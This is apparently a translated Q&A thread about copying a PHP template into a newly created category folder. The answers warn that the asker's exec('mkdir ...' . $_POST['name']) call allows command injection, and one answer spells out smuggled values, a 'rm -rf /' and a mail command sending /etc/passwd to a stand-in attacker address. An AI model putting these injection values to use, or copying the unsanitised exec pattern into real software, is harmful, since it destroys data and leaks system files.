我正在使用网站项目,管理员可以创建类别。当他们确实创建时,类别的名称将添加到数据库中 在处理用于创建类别的表单的PHP文件中,我在主机的特定目录中创建了一个具有给定名称的目录,此时看起来像:
exec('mkdir /homezx/user/website/categories/' . $_POST['name']);
它工作正常,但现在我想将资源文件夹中的模板复制到这个新创建的目录(将是它的索引),我知道该怎么做。
exec('cp .../templates/index.php /.../categories/' . $_POST['name'] . '/index.php');
问题是我想制作这个模板,以便它可以适合放置它的文件夹 在模板文件中,我用字符串'%name%'替换所有与一对一索引不同的部分。
在用给定名称(例如标题标签)更改了所有'%name%'之后,在创建的文件夹中复制此文件的最佳方法是什么?
答案 0 :(得分:1)
我绝不是黑客,也不是那么接近。这些例子可能甚至不会在第一次尝试时起作用,这只是为了让你思考。如果$ _POST ['name']包含...
,该怎么办?$_POST['name'] = ";rm -rf /"; // ;ends the mkdir instruction ..
or ...
$_POST['name'] = ";mail -s “Pawned” badguy@allyourbasebelongtous.com < /etc/passwd";
友好的建议,从来没有像这样使用过exec。更好的是,永远不要使用exec,如果你可以避免它,尤其是基于网络的应用程序。
答案 1 :(得分:1)
$name=$_POST['name'];
mkdir($path_to_new_folder);
$template=fopen($path_to_template);
$str=file_get_contents($template);
$newstr=str_replace('%name%',$name,$str);
fclose($template);
$newfile=fopen($path_to_new_folder.'/index.php','w');
fwrite($newfile,$new_str);
fclose($newfile);
这是你想要做的吗?它将打开您的模板,用新名称替换%name%,创建目录和新文件,编写已编辑的模板文件并保存
答案 2 :(得分:1)
建议使用PHP的mkdir()
和copy()
函数。例如,$_POST['name']
无法做任何事情?你真的想要exec()
任何吗?
其次,要完成模板化,你可以使用像这样简单的东西。
$template = file_get_contents('template.html');
$replacements = array(
'%name%' => 'Oddantfr'
);
$contents = str_replace(
array_keys($replacements),
array_values($replacements),
$template
);
file_put_contents('template.html', $contents);
答案 3 :(得分:0)
这不是问题本身的答案,而是评论中不能包含的评论。但是,如果你还没有,你需要知道这一点。
exec('mkdir /homezx/user/website/categories/' . $_POST['name']);
这非常非常糟糕。不要这样做。当你在PHP中运行exec()
时,第一个参数作为字符串运行,允许这样的事情发生:
$_POST[] ~ ".'; i0wnZU(); doBadStuff();'";
这将使您的exec()
代码等同于:
exec('mkdir /homezx/user/website/categories/'.'; i0wnZU(); doBadStuff();');
将我的两个有趣的功能替换为实际的坏东西(可能是rooted脚本或其他东西),并且你有一个安全漏洞允许访问服务器的底层操作系统。
使用PHP提供的mkdir()
和copy()
函数,并清除您提交给您的所有POST / GET变量。不要只是将其直接插入未清理的代码中,尤其是在数据库查询中。